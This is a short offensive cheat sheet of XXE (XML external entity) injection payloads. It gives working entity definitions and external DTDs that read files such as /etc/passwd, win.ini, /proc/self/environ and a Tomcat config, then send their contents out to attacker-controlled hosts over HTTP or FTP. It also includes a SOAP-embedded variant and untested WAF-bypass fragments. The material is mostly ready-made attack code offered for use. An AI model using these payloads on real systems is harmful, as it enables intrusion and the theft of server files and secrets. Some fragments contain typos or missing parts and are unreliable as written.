XXE Payoads
Vanilla, used to verify outbound xxe or blind xxe
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
OoB extraction
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
External dtd:
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
OoB variation of above (seems to work better against .NET)
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>
External dtd:
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
OoB extra nice
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
External dtd:
File-not-found exception based extraction
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>
External dtd:
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>"> //you might need to encode this % (depends on your target) as: %
FTP
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
External dtd:
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
Inside SOAP body
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
Untested - WAF Bypass
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"
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